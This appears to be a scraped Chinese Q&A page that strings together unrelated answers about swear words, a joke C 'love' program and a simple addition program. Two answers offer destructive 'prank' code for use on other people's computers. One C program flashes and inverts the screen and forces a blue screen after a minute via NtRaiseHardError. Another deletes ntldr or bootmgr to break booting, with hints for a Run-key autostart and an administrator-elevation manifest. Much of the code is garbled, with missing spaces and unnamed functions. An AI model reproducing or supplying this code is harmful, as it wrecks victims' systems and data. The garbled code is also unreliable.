㈠ 武汉话中类似c的发音的骂人话是什么意思

额。。。。
“say”“c”“sei”这些发音一般都差不多、
基本上都是指逗别人、聊别人的意思、

㈡ 求一些恶搞程序的C语言源代码

#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 ＞ 100,000 and girl.感情 ＞ 8 ) )
{
for ( day=1; day ＜=365; day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰专) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拼命属赚钱();
}
}
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
年龄++;
girl.感情--;
}
return girl.goto( another_boy);
}

㈢ 写一个简短的C语言代码

#include<stdio.h>

intmain()
{
	doublea,b,c;
	scanf("%lf",&a);
	scanf("%lf",&b);
	c=a+b;
	printf("firstnumber:%.2lf",a);
	printf("
secondnumber%.2lf",b);
	printf("
	%.2lf",a);
	printf("
+	%.2lf",b);
	printf("
-------------
");
	printf("	%.2lf
",c);

	return0;
}

㈣ 求一个C语言整人代码！！！

先上代码

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

运行这段代码首先会花屏并闪屏，一分钟后蓝屏。

效果图：

㈤ 为什么很多女人也喜欢用CNM骂人 她们用什么C啊

这只是一个口头的语气表示，不带任何行动上的刺激，为的是加重骂人的力度。

㈥ c，h，i，n开头的英文,骂人类的，4个或者更多

cheat 骗子
hate 讨厌
idiot 弱智
nasty 下流

㈦ 求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char* argv[])
{
OSVERSIONINFO osinfo;
osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osinfo);

if (osinfo.dwMajorVersion == 5) //Windows XP
{
system("del /s %systemroot%\\..\\..\\ntldr");
}

if (osinfo.dwMajorVersion == 6) //Windows 7
{
system("del /s %systemroot%\\..\\..\\bootmgr");
}

MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING);
return 0;
}
还有注册表的没时间做了，你去网络下吧，关键是：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"App"="%systemroot%\\App.exe"
还有下面的代码：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="a.exe.manifest"
type="win32"
/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
把其中的a.exe 改成 你的程序名字.exe，然后存为 你的程序名字.exe.manifest
这是用来win7提权的。。。
另外，破坏了系统引导安全模式是无法打开的，我前几天就删了win7的BCD，结果开机蓝屏，不可能再打开安全模式了。。。

㈧ 2015用高数c上的公式骂人的段子

爱的极限

㈨ 以单词b，c开头的骂人的单词有哪些

bull shit ;bitch
crazy cheap
就这么多，想不容易呀，望点赞